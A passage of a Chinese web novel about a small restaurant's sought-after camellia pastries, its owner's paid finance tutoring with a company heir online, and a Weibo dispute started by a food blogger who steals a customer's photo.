这个五一假期，周谦家里没人，他天天睡到日上三竿，睡醒了就点外卖，吃完就打几把游戏，不知不觉到了吃晚饭的时间，就又点外卖，过上了颓唐的日子。 上回，意外被被老师没收了那还没吃过瘾的手剥笋后，周谦便一直惦念着，后面便听从小弟的安利去了庄记。 也是那才发现，庄记里的其他东西，一样好吃。 放假，周谦懒得出门，又记挂着荷香鸡，想点外卖，发现庄记没开通外卖服务，便挑了一家有荷香鸡卖，评分又高的店铺。 谁知道一吃，那味道，咸得嘴巴发麻，肉也是又老又柴，难吃得要死，鸡皮也很厚，还缀着硕大一块鸡油，看到就没了胃口。 荷香鸡他不常吃，偶然吃到一次，他还以为全天下的荷香鸡都那么好吃呢。 结果……唉，还是出趟门吧…… “什么？！卖光了？”周谦不敢相信自己的耳朵，不死心地又问了一下：“所有菜式窝，都没了吗？” 季初曼点了点头：“是的，下次想吃的话可以早点来。” 此刻，周谦无比痛恨自己为什么睡到那么晚，要是他早点，再早点…… 他的荷香鸡呜呜呜，口水都要流出来了。 悔恨的泪水在即将涌出的那一刻，周谦无意瞥到收银台边上放着一朵粉色的花。 它被放在水缸旁，和旁边灵活的游鱼一起，构成了一副鲜活的画。 被这朵花惊艳到，周谦再定睛一看，才发现，那是可以吃的！ 花瓣上有着细细的被炸过的纹理痕迹。 “这是什么？”周谦问。 “这个啊，这个是山茶花酥。” 刚刚庄凝冬又给了季初曼一块，由于目睹了全过程，明白制作有多不易，也想着庄凝冬可能会拿些去送给别人，季初曼不好意思一个人吃太多，所以这一块她便留着没舍得吃。 其余晚来的顾客本来得知东西卖光后都转身要走了，听到季初曼嘴里的“山茶花酥”又回过了头。 “什么酥？让我看看，卧槽！这么漂亮？” “什么？你跟我说这是点心？是能吃的？这么好看谁舍得吃啊？” “救命，真的太好看了，是店里出的新品吗？多少钱一个我要买！！” 他们一人一句，季初曼在一一回应着，那头庄凝冬从后厨里出来，他们看见后又往庄凝冬那边靠了。 其实眼前的顾客也没几个，庄凝冬数了数，觉得够分，问了一句有谁想要的，他们都纷纷举起了手。 庄凝冬就让他们先等着，她去后厨打包，给他们每人都分一个。 待庄凝冬再次出来时，顾客们已经有序地评好拍好了队。 “谢谢老板！你人真好！” “啊啊啊什么叫来得早不如来得巧！谁还能有我幸运啊，白得这么好看的山茶花酥，我做梦都要笑醒。” “我有个朋友，每次他买到庄记就会来问我吃什么，一旦得知我没买到庄记就会疯狂跟我炫耀，忍他好久了，这次还不轮到我扬眉吐气？！” …… 周谦自己也不知道为什么会跟着人群举手，大概这就是从众心理吧。 他其实对点心这一类食品不太感兴趣，腻到发齁，只要下午吃一块，那他整晚都没胃口了。 而且，周谦觉得那是小孩子才喜欢吃的东西。 不过拿都拿了。 还是带回去给他妈吧，他记得曾女士挺喜欢点心的。 在公司的时候就天天下午茶。 晚上，曾娴从公司加完班回到家，晚饭她是没时间做了，儿子的厨艺更是不堪入目，家里阿姨又给她批假让她回家了。 于是，曾娴只能从外面打包了些吃的回来。 周谦顺手把冰箱顶的山茶花酥拿了过来：“妈，给你的。” “什么啊还给我带东西了？”曾娴哼笑，拆开一看，是一朵精致的山茶花！ 花蕊浅黄，花瓣淡粉，颜色的饱和度低，柔和中带着一股典雅，清新雅致，静静地立在盒子中央，悄无声息地绽放。 空气浮动中，一阵淡淡的酥香。 “好漂亮啊……” 曾娴本就是爱花人士，平时走在路上看到什么好看的花都要停下来拍张照才肯走。 自然一眼就爱上了眼前这朵精致的山茶花。 她拿起手机咔咔拍了几张照后，买回来的饭也不想管了，就想先尝一口这块山茶花酥。 “谦啊，就只有一块吗？”曾娴忽然发现了这个重点。 “没了啊。” “怎么只买一块？你不吃吗？还是你已经吃过了？” “非卖品，我去的时候人家刚好拿出来送，就领了一块，”周谦说，“你吃吧，我又不喜欢吃。” 曾娴咬了一口，花瓣又薄又脆，一层层酥皮做得很细致，层次感特别丰富，浓厚的麦香之后是清新的椰子香气，口腔里满满都是细腻的椰丝，还有馥郁的桂花香。 又脆又香甜，椰蓉的甜味调配得非常好，和叶子香很适配，既不过分甜腻又不会寡淡无味。 曾娴在公司点过很多家高分烘焙店里的点心作下午茶，但都没有一家的口味能做得那么好吃。 各种香味在嘴里绽开，曾娴觉得自己吃下了一朵山茶花。 “谦啊，你快告诉我，这是在哪家店领的？想问问接不接受预定，这么好吃的点心要是不拿出来卖，也太可惜了！” 曾娴作为一家公司的创始人，什么世面没见过，早就练就了泰山崩于前而色不变的本领，周谦更是没见过她这么激动的模样。 一时间，他非常好奇：“真有那么好吃吗？” 目前只有周谦知道那家店，曾娴忙在没咬过那头掰了一块递给他，希望他在吃过之后能理解她现在的心情，然后积极地去找那家店的老板。 周谦狐疑接过，顿了顿，视死如归地放进嘴里。 而后，蓦地瞪大双眼。 这个花瓣……好脆！ 这个内陷……好松软细腻！ 同样都是甜的，但这份点心真的不腻，甜得刚刚好，而且每种香味都调配得好绝，你中有我我中有你，谁也没有掩盖住谁。 这么好吃，他中午在店里时到底在高贵些什么？！ 他甚至还打算不要！ 不管从外观还是味道上来说，都顶尖得不行的一份点心白送他，他竟然还犹豫？！ 他甚至还打算不要！ 他现在只想回去狠狠地扇自己一巴掌！ 另一边，庄凝冬不知道周谦的心路历程。 跟以往一样，她忙完当天的活后就回到房间，打开电脑开始啃那些晦涩难懂的知识。 庄凝冬登录了那个网站，打算跟别人交流交流，然后发现，那条好友信息…… 通过了？！ 第37章 第37章 几个小时前，万宁市，傅安集团总部大楼顶层。 偌大的办公室里，只有从办公桌上的电脑传出的声音—— “关于亚太区上个月的营收状况……” 会议上，某个亚太区高管正兢兢业业地汇报着工作，末了，他还向上级提了个问题，希望能得到确切的指示。 只是问题提出后久久得不到回复。 不断流逝的时间变得格外漫长，会议上的人连大气都不敢喘，还是亚太区高管硬着头皮喊：“……傅总？” 站在侧后方的林光终于觉得不对劲，上前又细细提醒了几声：“傅总。” 办公椅上的人终于动了，他伸了个懒腰，“嗯？结束了？好，散会。” 会议上的高管：“……” 林光：“……” 难怪一声不吭，原来支着个手臂就睡着了。 “今天中午吃什么？百味楼是不是上了个新品？林光，你等会儿打电话去问问。” 傅修霁正要起身，被林光小声又礼貌地提醒：“傅总，会议还没结束。” “……” 林光作为助理，非常尽职地把刚刚亚太区高管汇报的内容简要地复述了一遍，包括后面提出的问题。 傅修霁听完后沉默三秒，认真开口：“傅氏要凉了么？” “……” 亚太区高管的心脏才松了一点就又因为傅修霁的话高高提起。 傅修霁打了个哈欠：“这种问题……你怎么混上这个位置的？” 亚太区高管的心脏都要跳出嗓子眼了，怕自己马上要被开，连忙道：“傅总！！我承认我平时是懈怠了点，但我真的是辛辛苦苦劳碌几十年……” “你也不用这么紧张。” 其实傅修霁刚刚没有任何意思，是真的一本正经的好奇。 也可能跟他这个人的气质语气有关，所以哪怕有一些很认真问出来的问题也带了阴阳怪气的味道。 傅修霁思考片刻，“融介网都知道吧？” 一个专门讨论学习金融知识的学术网站。 他们自然是知道的。 底下人都屏住呼吸听着。 通常，在明处发现了一只蟑螂，就说明在暗处隐藏了千千万万只蟑螂。 同理，他在明处发现了一个实力不怎样的人，就说明他手底下的人更…… 所以，单单提升一个人没用，得全部一起来。 “来，都先停一下上手头的工作，你们登录那个网站，搜索……”傅修霁卡壳，掏出自己的手机捣鼓了一下，照着报了一串数字：“把这个号所发表过的评论都看一遍，嗯……一遍对你们来说应该不够。” “这样吧，你们把那些话都打印出来，贴在床头上，睡前和起来时都看一遍。对了，不止你们，让你们底下的员工也要登上去看看，看得懂最好，看不懂的话我也不会怪他们。” 能让傅总如此器重，想来这个号背后的人一定很厉害，底下有高管勇敢发问：“不知这人是谁？是傅总您的老师吗？如果是您的老师……” “哦，这是我。” “……” 好几年前，傅修霁在国外进修，当时他以飞快的速度提前完成了所修学业，那点知识多为理论，他便自己去摸索国外市场，等了解得差不多了，又觉得甚是无聊，想找点乐子玩玩，便盯上了国内的一个金融学术网。 不得不说，里面的人在傅修霁看来还有意思的，即使尝尝被他无语到说不出话来，也还是会忍辱负重找他探讨相关问题。 虽然傅修霁的语气是贱了点，但他确实有两下子，因为他的回复永远不止于表面，还会结合现实案例简要分析。 有人问他是谁，不害怕被别人学到真东西对自己不利吗？ 傅修霁倒是希望那些人是真能学到点东西，首先，都是一个国家，他们要是学会了还能去搅搅国外市场，其次，还能给他未来的商务谈判上点强度。 他可不想以后在谈判桌上做“1＋1”那么简单的题。 傅修霁：“知道傅安集团吗？我是未来CEO。” “……”有人笑他大言不惭：“我还说我是傅安未来董事长呢，别吹了，竟然吹到傅安头上去了，傅安高管肯定都日理万机，哪有空活跃在这个破网站。” 傅修霁：“你还当不了我爹。” “……” 什么玩意儿？ 其他人没懂这句话的意思，不过也没人把傅修霁的话当真，以为他不想让别人知道他的身份就随口胡扯了一个，这个话题也就这么被揭过去了。 等后面傅修霁回国接手工作后，便开始忙起来，这个网站自然就慢慢被他搁置了好久。 直到刚刚，有需要了才突然想起来。 太久没登录，里面一堆红点，傅修霁觉得无聊，便随手通过了几个人的好友，准备找点乐子。 后来赶着散会吃饭，他就把这事忘了。 还是到晚上的时候，手机突然弹出一条通知，他看到才想起来。 有个昵称为单单一个“庄”字的账号给他发了消息：[你好，请问能问你一些问题吗？] 傅修霁看了眼她发来好友验证时问的问题，出发点有点小众，他便来了点兴致：[我可不是什么问题都回答的。] 庄：[我懂。] 接着，傅修霁看到对方发来一个数字。 庄：[这个价格可以吗？] 傅修霁：“？” 他的意思是让她提问得有水平一点！ 谁缺她这点钱了？！ 不过，等会儿。 他就只值这个价？？ 没意思：[不用给我转钱，我是不会收的。] 笑话，收了的话那他这辈子的最低价可就定在这儿了，往后提起那可都是耻辱！ 庄：[虽然是比市场价高了点，但你别不好意思，如果你不收的话我会过意不去的。] 比市场价高、了、点。 别不好意思…… 傅修霁气得想笑。 对方久久没有回复，庄凝冬思忖了下，估摸着对方可能是无声拒绝了她。 毕竟之前网站里的人就提醒过她，他会不会回完全看心情。 意料之中的事，庄凝冬也不气馁：[好吧，既然你不愿意的话，那我就去找别人了。] 没意思：[找谁？找正常市场价的人？] 庄：[是啊。] 同样的学术咨询，他们还便宜点，还能省点钱。 这话在傅修霁看来，无异于“既然你不行的话，那我只能找别人了”。 价格给他开低了就算了，竟然还觉得他比不上其他人？ 这怎么能忍！ 没意思：[少废话，要问赶紧问，我时间很宝贵。] 庄凝冬正要退出，结果就看到对方改主意了。 这人，果真奇怪。 不过，既然对方答应了也好。 但是，有些事还是要说清楚点的：[我看他们那个收费标准都是以小时来算的，这样吧，刚刚那个数我出三倍，买你三个小时。] 庄：[可以吗？不过三小时会不会太长了？你那边时间方便吗？] 没意思：[……] 傅修霁几乎是咬着牙打出的字：[可以。] 庄凝冬想过了。 金融本身就是一个专业且又枯燥难懂的专业，她没系统学习过这个时代的知识，自然也无法在短短时间内就把人家学了几年的专业啃透。 但她了解了一下答辩的过程，只要过了导师提问的那关就可以了。 那就可以从这方面入手。 既然面前这个人有两下子，那想必从他角度提出的疑问，应该跟导师差不多吧？ 庄凝冬便随机选取了论文的几个片段，问他看完后觉得怎么样，有什么想问的。 对方回答得还挺全面，除了偶尔夹杂着几句略欠揍的话外，一切都还好。 对于他一针见血提出的问题，庄凝冬先自己试着回答了一遍，再去问对方如果是他他会怎么回答，这样方便对比着查找差距。 三小时很快过去，因为庄凝冬自己思考的时间过长，其实也没问多少，不过还是受益匪浅。 庄凝冬在退出前按照约定，转了笔钱过去：[谢谢你。] 因为这笔钱，傅修霁那边的对话框还弹出了一个小心诈骗的温馨提示。 傅修霁没收，扫了眼数字，发现不对，他懒懒地问：[怎么还多了？你数学不好？] 庄：[我觉得你讲得不错，多出来的是给你的小费。] 傅修霁：“……” 活了二十六年也是收上小费了。 他就不该多这个嘴！ 关电脑前，庄凝冬看了眼时间，才发现已经凌晨了。 她伸了个懒腰，迅速统计完今天的营收。 现在店里一天的收入能有一万以上了，除去成本，也有好几千了，很快就能把钱还完了。 睡前，庄凝冬躺在床上，翻看着顾客群的消息。 是领到山茶花酥的顾客在给反馈，还有其他没领到山茶花酥的顾客在哀嚎： 111：[老板做的这块山茶花酥真的绝了！我原本因为放假在家忘记解冻肉差点被我妈打，然后我情急之下拿出了这块山茶花酥，我妈就被我哄好了/龇牙] 放老子一马：[真的特别特别好看，连我爸这个不爱花人士看见后都挪不开眼，甚至还想要我把这块山茶花酥让给他吃，但是就这一块我怎么可能让嘛，我就当着他的面冲回房锁上门独吞了，虽然最后被扣了一个月的零花钱，但我一点也不后悔！要是重来一次，我还会做出同样的选择，因为真的太好吃了！真的很香TAT] 一杯奶茶：[你们都带回家了吗？我出门就忍不住吃了哈哈。] 阴暗鼠鼠：[什么？！你们是说我前脚刚刚买完店里最后一份饭菜飘飘然离开，后脚老板就因为你们晚去没买到饭菜而送了一份既漂亮又好吃的山茶花酥？！啊啊啊啊我恨！完全是擦肩而过啊！这让我怎么释怀？！] 心平气和：[买到饭菜的朋友也不用伤心，因为不是所有晚到的顾客都能领到山茶花酥的，比如我……] 谭清莹：[这一幕怎么似曾相识呢？跟上个月店铺因为关门导致顾客们白跑一趟的情形好像，当时老板也拿了不作售卖的马蹄糕出来补偿了，这次的山茶花酥不会以后也不作售卖吧？！别啊我还没尝到呢QAQ] 陆向安：[求你了老板，多做点拿出来卖吧，真的太好看了，我还没给它们拍照出片呢！找工作已经够苦了，能不能满足我这个小小的愿望？] …… 群里的人不止分享了山茶花引起的一系列啼笑皆非的事，还有人发了山茶花的照片出来，这就导致其他顾客更疯狂了，纷纷哭喊跪求一定要上线。 刚才经过和“没意思”探讨了相关知识，庄凝冬觉得自己进步了很多，她估摸着，日后可以适当在论文上减少些时间了。 之前白天也有在学，现在的话，白天或许可以多研究点菜式多做点顾客想吃的点心。 嗯，就这么决定吧。 不过还有一点比较重要…… 庄凝冬：[店里目前还没开始定制山茶花酥的专属盒子，你们是想晚点定制好了再上还是明天上？明天上的话就得用普通盒子装了。] 萝卜糕：[只能这两个时间点吗？没有第三个选择吗？比如说现在。] 无敌小X：[现在还是做梦比较快。] 谭清莹：[明天！！我真的一刻都等不了了！！] 还有一个问题。 庄凝冬：[如果明天售卖的话，那等定制的专属盒子到了之后，山茶花酥的价格会上涨一点哦，不然价格不变的话，对前面花了同样的钱却没有盒子的顾客来说也不公平。] 对此，顾客们都表示理解并且也愿意接受等盒子到了以后升价。 庄凝冬编辑了一条关于明天上山茶花酥的文字，并且把定价、有无盒子的相关信息都写了进去…… 不过由于发布消息的时间太晚，好多顾客都睡着了没看到，再加上又是假期，好多人都睡到日上三竿才起，等醒来才发现自己错过了一个亿。 等日落：[啊？？一觉醒来天塌了，我的山茶花酥！] 养生girl：[呜呜呜老板怎么发得那么猝不及防，这就是我早睡的代价吗？] 老大走伤悲：[老板下次能早点发吗？我恨！] 没出息：[这还不够早吗？老板已经在新的一天的一点钟就发了消息，你们还想怎样/狗头] 焦虑个p：[不懂就问，现在去还来得及吗？] 乌鱼子：[图片.jpg，自己看看吧……] 没办法，假期夜猫子还是有很多，他们知道今天有极其漂亮的山茶花酥卖后，已经疯狂到提前半小时就在店门口等着了。 原因无他，都怪这次的山茶花酥数量太少。 一顿只有二十个。 庄凝冬也没办法，山茶花酥的制作太过复杂，而且只有她一个人在做，二十个对她来说已经很多了。 周谦从来没在假期起过那么早的床，昨天晚上他躺在床上玩着手机，迷迷糊糊间看到庄记老板发的上新消息，整个人都清醒了，一个鲤鱼打挺坐了起来就顺便把这个消息发给了他妈。 等醒来后才想到：这个山茶花酥每个人只限购一个，一个怎么够他和他妈分啊？ 周谦忽然生出后悔告诉曾娴庄记可以买山茶花酥的事。 如果不告诉她，那他就可以自己独吞掉山茶花酥了，可是他妈昨晚也分了一点给他。 虽然是分了点，但也只有那一点了，后面他妈就自己吃完了。 任他怎么哀求都不管用。 就在周谦乱七八糟地想着时，队伍已经排到他了。 他接过山茶花酥，没忘记点上心心念念的荷香鸡，找了个座位坐下。 他盯着透明盒子里的粉色花朵。 老板今天似乎改了一点细节，比如花蕊部分，虽然依旧是黄色，但却不再是细碎的干桂花，而是炸开的椰蓉馅。 庄凝冬今天在做山茶花酥的时候，确实做了一点小改变：没用面皮包住内陷，直接让花瓣粘在了黄圆的馅料上，椰蓉馅料直接接触热油，滋啦滋啦开了花，竖起细碎的小条条，反而更像花蕊了。 而且颜色明亮，作为花蕊，比干桂花的暗淡要更好看，显得花朵更新鲜。 周谦看着那朵山茶花，嘴巴里不自觉分泌出了口水。 要不直接吃了吧…… 他真的忍不住了。 周谦终于伸出了罪恶之手。 等一朵花完完整整进了肚子里，周谦吮了吮带油脂的手指，有点意犹未尽。 炸过的椰蓉好像更香了呢。 味蕾被满足后，终于来到了迎接暴风雨的时刻，周谦打开和他妈的对话框，上面有曾娴嘱咐他的话，让他一定要把山茶花酥带回来。 他眼一闭，心一狠打字：[妈，我没买到山茶花酥……] * 在提前排队买山茶花酥的队伍里，还有谭清莹和她的大学舍友安琪。 这个五一，安琪从别的地方来溪城找谭清莹玩，这两天，她就住谭清莹家。 昨晚她们俩躺一张床上，原本安琪还在叽叽喳喳说着公司里的八卦，结果说着说着自己先睡着了。 而谭清莹还毫无睡意，她拿起手机一看，就这样看到了庄记要上山茶花酥的消息。 于是，第二天，安琪还没睡醒就被谭清莹不由分说地拉了起来，匆匆收拾完就扯着她往外跑。 如今人在队伍里定定站住，安琪才有空喘气，以及询问原因。 谭清莹拿出手机，把山茶花酥的图片翻出来，给安琪看，然后把这件事的前因后果讲了一遍。 那张照片上的山茶花确实漂亮，栩栩如生，好看到像刚从枝上摘下来一样。 不过安琪还是不理解。 像这类点心，她见过太多了，也买过不少来吃，无一例外都踩雷了，味道跟外观根本就不成正比，难吃到令人发指，还死贵死贵的。 从此，安琪再也不信这类点心了。 “我已过来人的经验告诉你，这种点心很难吃的，买的就是一个外表，味道真的不敢恭维。”安琪显然被前几次踩雷伤到了：“有这钱，都能去买新的鲜花了，摆在屋子里，观赏价值不比这个高吗？” 谭清莹却摇头：“你信我，安琪，这家店不一样，它就是我之前跟你说过好多次的超级好吃的饭店。” 安琪回想着谭清莹以前发了的照片，又想到她描述的一些味道，已经在不知不觉间吞起了口水：“你说那些东西好吃，我信，但你说这个好吃的话，我真的无法想象。” 谭清莹：“那你不要了吗？” 安琪：“不了。” “好吧，”谭清莹讨好地笑：“那你能用你那个名额帮我买一份吗？这家店限购了，一个人只能买一块。” “你还要买两块？”安琪不可思议：“你会后悔的。” “就用你一个名额而已啦～” 见谭清莹仍旧坚持，安琪自觉劝说已经到位，别人的钱怎么花是别人的事，便不再多说，点头答应：“好吧。” 她们来得早，如愿拿到了两份山茶花酥。 透明盒子里，两朵胭脂粉山茶花静静绽放着，开得正艳，连普通盒子都因为它们而变得高级起来。 这两朵花看着似乎比照片上的更好看。 颜色是白里透出的粉，层层圆瓣弧度柔和，线条流畅优美，围着中心明黄的花蕊，开得正艳，表面还有面团被炸过的纹路，鲜活漂亮得不行，让人觉得那根本不是一块点心，而是一件无价的艺术品。 空气浮动间，还能闻到淡淡的油脂酥香和椰蓉香气，丝丝缕缕若隐若现，格外勾人。 谭清莹拿出手机给它们拍了张照后就要拿起来吃，别旁边的安琪拦住：“等会儿！我还没拍呢！” “我拍了，你拿我的照片不就行了。”谭清莹有点等不及了。 “不行，你拍照技术没我好，我要拿来发微博的。” 谭清莹：“……” 谭清莹知道，安琪平时会在社交平台上分享一些自己的日常，就在微博，因为她长得漂亮，不管是人还是物，拍出来都特有氛围感，所以慢慢下来，她也积攒了小几万的粉丝。 谭清莹忍不住吐槽她又要嫌弃它的味道，又要给它拍照发微博。 安琪却毫不在意：“没办法，爱美之心人皆有之，不然你猜我之前为什么会反复在这类点心上踩雷？” “……” 安琪：“不过你放心，这次我只拍照，肯定不会再吃了。” 第38章 第38章 安琪拿着手机，查看拍出来的照片觉得满意后说了句“OK”。 这一声令下，犹如上学时听到的下课铃声，无比动听，谭清莹火速拿起山茶花酥吃起来。 外层花瓣异常酥脆，咔吱咔吱嚼几下能吃到浓浓的猪油香，保持脆口的同时又不会干到难以下咽。 在从外咬到内里的这个过程中，所感受到的椰蓉香气也是越来越浓郁，直到咬下内陷，炸过的椰蓉口感也变得酥脆，香味被进一步激发。 就这么咀嚼了几下，唇齿间满满的椰香。 “好酥好脆……” 谭清莹被香到情不自禁闭上眼睛发出一声喟叹。 坐她对面的安琪还在拿着手机对即将要发表的博文进行排版，听到声音掀起眼皮看了她一眼，轻笑：“有这么好吃吗？” “真的特别好吃啊，它这种酥脆不是特别硬的那种酥脆，而是带点松软的，你能懂那种感觉吗？是松脆松脆的，吃起来有股淡淡的甜味，总之就是很好吃。”谭清莹拿着那块酥点，吃得津津有味：“不跟你说了，我得好好享受这块点心。” 安琪不甚在意地笑了笑，编辑好她的博文就按了发表。 菜还没上，安琪百无聊赖地玩着手机，时不时被耳旁那清响的咔吱声引得抬眼。 那块山茶花酥看起来就酥的掉渣，谭清莹吃的时候都是用手悬在下巴下方虚拖着，免得碎渣掉得一地都是。 在视觉和听觉的双重刺激下，安琪渐渐无心玩手机了。 她盯着另一块完整的山茶花酥，好奇地凑过去闻了闻。 一股淡淡的香甜，没有以前踩雷吃过的点心那么香浓发腻，闻起来就清爽很多。 会不会真的跟以前那些点心不一样呢？ 安琪咽了咽口水，在心里发誓绝对是最后一次了！ 真的是最后一次！如果再踩雷，那她以后就真的不会再吃了！ 安琪拿起了那块山茶花酥…… 张嘴咬了一小口，真的是酥到掉渣！ 细细碎碎的屑如雪般落下，那花瓣是清甜的，和着猪油揉成的面团经过炸制，不仅带了股特别的香气，口感也是酥松的，跟之前踩雷的绵软完全不一样！ 安琪不可思议地盯着手里缺了一个口的山茶花酥，整个人都愣住了。 她擦了擦嘴角的碎渣，这块山茶花酥的脆就像那种干枯腐朽的树枝，好似轻轻一碰就会脆得碎掉，想到这，安琪连拿花酥的手都不自觉放轻了力度。 “好酥松！真怕一不小就把它捏碎了。” 安琪小口小口地吃着，只觉得舌尖感受到了前所未有的美味，香香甜甜的。 再往里吃，就到明黄的花蕊了。 椰蓉制成的馅料香甜可口，露在外头的圆弧面被油炸得很脆，像另外烙了一层金黄的外壳，齿尖纵向戳破脆香的外层，里头却是松软的！ 单单一个椰蓉馅就有两种口感！ 内里柔软细腻，松松绵绵的质地带着椰丝特有的嚼劲，而且制作者将甜度控制得非常好，椰子香馥郁的同时又不会发腻，椰子天然的甜味在口腔中弥漫，随着入口即化的花瓣和花蕊滑进了喉道。 满满的椰子清香，甜而不腻。 好好吃！ 谭清莹吃完一个，正想吃第二个，伸手要去拿时，才发现原本的位置上哪还有什么山茶花酥？ 它早就到了安琪手上，并且已经被吃掉一半了！ “安琪！你不是说不吃的吗？我的山茶花酥……” 谭清莹欲哭无泪，她前面一直想着自己有两个山茶花酥所以才加快了点进食速度，结果现在…… 别问，问就是后悔，早知道再慢点细细品尝了，根本舍不得吃完！ 安琪吞下椰香浓厚的酥点，不好意思地嘿笑了声：“我也没想到这么好吃的嘛。” 谭清莹哼哼：“你刚还说我会后悔呢。” “我错了行不行，放心吧莹莹，我这就把山茶花酥的钱给你转回去，”安琪说，“这块酥点实在是太绝了，看起来好吃就算了，就连味道也平衡得那么好，比我以前吃过的所有点心都要好吃太多了！” “我就说吧，你可以不信陌生的店铺，但你怎么能不信我呢？咱们的口味那么相似，我说好吃就是好吃的，”谭清莹托腮，遗憾，“就是一块不够吃，我还想吃，要不咱们下午继续来排队买？” 原本安琪还想让谭清莹带她去别处玩玩的，但吃过山茶花酥之后，她双手赞同：“我觉得可以！” 除了山茶花酥，在其他菜上完，安琪一一尝过之后，更是久久不能回神，甚至都不想回去上班了。 “救命，好想天天住在这家店里！怎么可以把这些平平无奇的食材做得那么好吃？！莹莹我真的好羡慕你啊，为什么我不在溪城……”安琪羡慕得眼里都要从嘴角流出来了。 安琪觉得心里十分不平衡，打算去微博找她的粉丝诉诉苦顺便馋馋他们。 哼哼，她不在溪城没法天天吃，她的粉丝们也一样！ 安琪一打开微博，才发现点赞评论的数量达到了前所未有的高度。！？她难道火了？ 安琪疑惑点进去，才发现底下评论多了很多陌生面孔—— [小姐姐的照片拍得倒是挺好看的，不过跟百味楼的比还是不知天高地厚了点。] [来看看这份山茶花酥是在哪买的，溪城？确实是个没听过的城市。] [拿这个不知名小作坊的东西跟百味楼的比，多少有点登月碰瓷了吧。] 什么东西？百味楼？谁拿什么跟百味楼比较了？ 安琪看得一脸疑惑，不断往下滑着，终于在某个网友的评论里提取到了关键信息：[从小袁那里来的，笑死我了，他偷人家小姐姐的图就算了，竟然还没把水印去掉，小姐姐这条微博数据比前面的好很多哇，看来都是从小袁那来的。] 小袁？ 安琪去搜了下，发现排在第一的用户就叫“小袁美食鉴赏”，安琪估摸着应该就是他了。 点进去一看，果不其然。 他最新那条博文里带的图，就有安琪前不久发的山茶花酥。 这个小袁美食鉴赏还带了话题：#百味楼的山茶花酥竟比不上小作坊# 一个看上去就格外引战的标题，难怪这么短时间内热度就那么大。 现在是流量为王的时代，特别是网络戾气还大，一些好好发的博文都没什么人看，只能说这个博主真的太会博人眼球了。 百味楼可是在几百年前就创立的百年老字号了，历经数代人的传承，里面的菜式涵盖八大菜系，汇聚了全国各地厨艺不凡的大厨，每一样菜品不止外观精致，连味道也是顶级的，价格自然也是无比昂贵的。 不管从单价、食材、烹饪、摆盘等哪一方面来说，都是顶级的配置，无一不燃烧着金钱的味道，它也因此成为无数美食爱好者毕生的追求。 由此可见百味楼的地位及话题度。 一些百味楼的忠实爱好者一看到就立马过来维护了，可以诋毁他们，但绝不可以诋毁百味楼！ 人一多，甚至让这个话题登上了热搜榜，热度还在持续上升。 其实小袁美食鉴赏一开始发的并不是这个话题，通过编辑记录可以看到，之前的博文里，图片只有从安琪那拿来的三张，文案带的话题也是：#此生必避雷的食物之一各种酥点# 还是后面有个网友在底下评论：[怎么觉得这块山茶花酥看起来比百味楼的还要漂亮？] 小袁美食鉴赏看到后，计上心来，便编辑了一下，在图片里加上百味楼的花酥，把那位网友发表的言论截图放上来，再换个引战意味更强的标题，转赞评等各方面的数据瞬间呈指数式上升。 [看到标题后的我不可思议一愣，简直忍不了了，你说百味楼的点心比不上其他专门做糕点的百年老字号我可以忍，但，你说它比不上小作坊？？？这不纯纯登月碰瓷吗？] 有人从博主没去掉水印的图片里找到了安琪那，恰好安琪在放下手机前回复了一条她粉丝问这块山茶花酥是在哪买的评论，这位网友看到后冷笑：[什么溪城什么庄记饭馆，听都没听过，我怀疑我家楼下的猪脚饭名气都比它大，也不掂量掂量自己几斤几两就敢来碰瓷百味楼，营销也不是这样营销的吧？] 安琪看到后都要气急了，跟谭清莹吐槽着：“我服了，我随手发的图片被一个美食博主盗走去带节奏了，现在他们都在黑庄记呢。” “什么？！我去看看。” 谭清莹刚拿出手机，才发现自己的微博竟然也遭殃了。 原来他们有人发现这朵连百味楼都比不上的山茶花酥是出自溪城的庄记饭馆后，就搜索关键词在实时那里查找。 刚好谭清莹之前也发过庄记相关到微博上，就这么被他们找到了。 谭清莹跟着搜索了一遍，发现之前发表过和庄记相关动态的博文下都无法幸免，被嘲了个遍。 更有人跟着找到了庄记那边的账号，在最新的动态下面评论：[怎么一个平平无奇的山茶花酥，都能整出那么多事，没有盒子就先别上呗，说着没盒子又硬要上，不就是为了后面说有盒子加价埋伏笔吗？想捞钱就直说。] 谭清莹看到后也忍不了了，这群人，在那条带节奏的微博下吵就好了，竟然还追到庄记官号这儿来。 [神经病吧你，店铺急着要上山茶花酥是顾客要求的好吗，不懂就别乱喷，还有，谁家餐饮店打包不用多加钱啊？就这么一个礼盒礼袋你到网上买都要另外花个好几块。] 眼看着越来越多人涌入，谭清莹和安琪两个人也没办法应对一大批网络喷子。 难道就这么任由他们无法无天下去吗？答案是不可能的。 谭清莹想了想，把那条上了热搜的微博转发到了顾客群里：[各位朋友们，咱们庄记有难了，有个博主利用庄记的山茶花酥在网上引战，详细你们点进去看看吧，总而言之，现在那群人格外嚣张，还吵到庄记官号下了，有空的朋友可以帮帮忙。] 群里的顾客看到后都非常气愤。 这群网络喷子实在太可恶了！怎么可以恶意诋毁那么好的庄记？ 其中更有浑水摸鱼的已经上升到对老板的人身攻击了。 真的完全忍不了了！ 群里刚好有顾客是微博的忠实玩家，熟悉一切控评举报流程，在他们的指挥下，其他顾客有些留在庄记官号下“维持秩序”，一些则到了小袁美食鉴赏那边。 不管怎样，先维护住庄记的形象才是最重要的。 于是，小袁美食鉴赏那条微博下瞬间多了很多为庄记说话的声音： [我只是个普通人，没什么钱，更吃不起百味楼，无法评价百味楼的味道，但是庄记真的是我这辈子吃过性价比最高的饭店了。] [这款山茶花酥是真的很精致了，而且味道也特别好，连我这个不爱吃甜食点心的都彻底爱上了。] [山茶花酥很好吃，是在我们小城市不可多得的美味，我们都很喜欢，看到自己喜欢的东西被群嘲真的很难过，互相尊重各自的喜好吧，所以你们没吃过、不喜欢的能别恶意踩了吗？] 当评论区的阵营不再一边倒，有些路人也开始出来帮说话了：[有一说一，光从图片上来看的话，确实是那家小作坊的更好看啊，要是不说，我肯定会以为小作坊的山茶花酥才是出自百味楼的。] [谁也不站，这两家店我只吃过百味楼，下面附赠消费记录，百味楼我吃过应该有资格发言吧？不得不说，百味楼最近的质量和之前相比是越来越差了，各种新品也是冷饭热炒，能明显感觉到它在走下坡路，另外，如果百味楼的人能看到我这条评论的话，麻烦向你们的上级反馈反馈好吗！] 渐渐有其他不同的声音出现，原本还在嘲的人懵了一瞬，随即想到那个小作坊的号才四位数的粉丝体量，哪来那么活粉，肯定都是请的水军。 [我说你们躺平任嘲不好吗？还花什么钱请水军啊，请水军就有用了吗？] [百味楼是没吃过的，碰瓷是要碰瓷的。] 